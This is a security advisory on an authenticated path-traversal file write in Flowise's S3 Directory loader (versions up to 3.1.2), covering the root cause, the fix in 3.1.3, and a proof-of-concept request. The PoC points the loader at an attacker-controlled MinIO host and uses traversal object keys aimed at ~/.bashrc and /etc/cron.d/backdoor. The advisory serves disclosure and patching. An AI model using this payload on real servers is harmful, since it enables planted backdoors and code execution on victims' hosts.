highAug 4, 2026

Flowise: Authenticated Arbitrary File Write via S3 Directory Loader Path Traversal

Shubham Kandhare
Security Engagement Manager, SecureLayer7

An authenticated Flowise user can trick the S3 Directory document loader into writing files anywhere on the server by using path-traversal sequences as S3 object keys, with no CVE assigned yet.

Packageflowise-components
Ecosystemnpm
Affected<= 3.1.2
Fixed in3.1.3
Flowise: Authenticated Arbitrary File Write via S3 Directory Loader Path Traversal

The problem

The S3 Directory document loader in flowise-components builds a local file path by calling path.join(tempDir, key) where key is the raw S3 object key returned from the bucket. No traversal check is performed before creating directories or writing bytes to disk.

Because cleanup only removes the original tempDir, any file written outside that directory persists on the host. The loader also accepts a custom serverUrl, so an attacker does not need a real AWS bucket; a self-hosted MinIO instance is enough. Impact ranges from overwriting application secrets to RCE if the server process can reach executable or interpreter-loaded files.

Proof of concept

A working proof-of-concept for this issue in flowise-components, with the exact payload below.

http
POST /api/v1/document-store/loader/preview HTTP/1.1
Host: flowise.internal
Authorization: Bearer <valid-token>
Content-Type: application/json

{
  "loaderId": "s3Directory",
  "loaderConfig": {
    "serverUrl": "http://attacker-minio:9000",
    "bucketName": "attacker-bucket",
    "prefix": "",
    "credential": ""
  }
}

# The attacker-controlled MinIO bucket must contain an object whose key
# is a traversal path, e.g.:
#   ../../../../home/flowise/.bashrc
#
# The loader executes:
#   filePath = path.join(tempDir, '../../../../home/flowise/.bashrc')
#   mkdirSync(path.dirname(filePath), { recursive: true })
#   writeFileSync(filePath, <attacker-controlled object bytes>)
#
# Cleanup: rmSync(tempDir, { recursive: true })
# The escaped file at ~/.bashrc is NOT removed and persists.

The root cause is CWE-22: path.join does NOT strip ../ sequences; it resolves them, allowing an attacker-supplied key like ../../../../etc/cron.d/backdoor to escape tempDir entirely. The advisory points to S3Directory.ts line 191 as the exact unsanitized join.

The fix in 3.1.3 (PR #6549, commit 571b5d6) replaces the bare path.join with a path.resolve-and-verify pattern using the existing isPathTraversal / sanitizeFileName helpers already present in packages/components/src/validator.ts. Any resolved path that does not start with tempDir is now rejected before directory creation or file write.

A second variant in S3File.ts (the unstructured processing branch) shares the same root cause and was patched in the same commit; there it additionally turns into a write-then-delete primitive because cleanup calls rmSync on the dirname of the escaped path.

The fix

Upgrade flowise-components to 3.1.3 (flowise@3.1.3). The patch replaces path.join(tempDir, key) with a resolve-and-boundary-check using the existing validator helpers, rejects any resolved path outside tempDir, and applies the same fix to the S3File unstructured branch.

Reporter not attributed.

References: [1][2][3][4][5]

Related research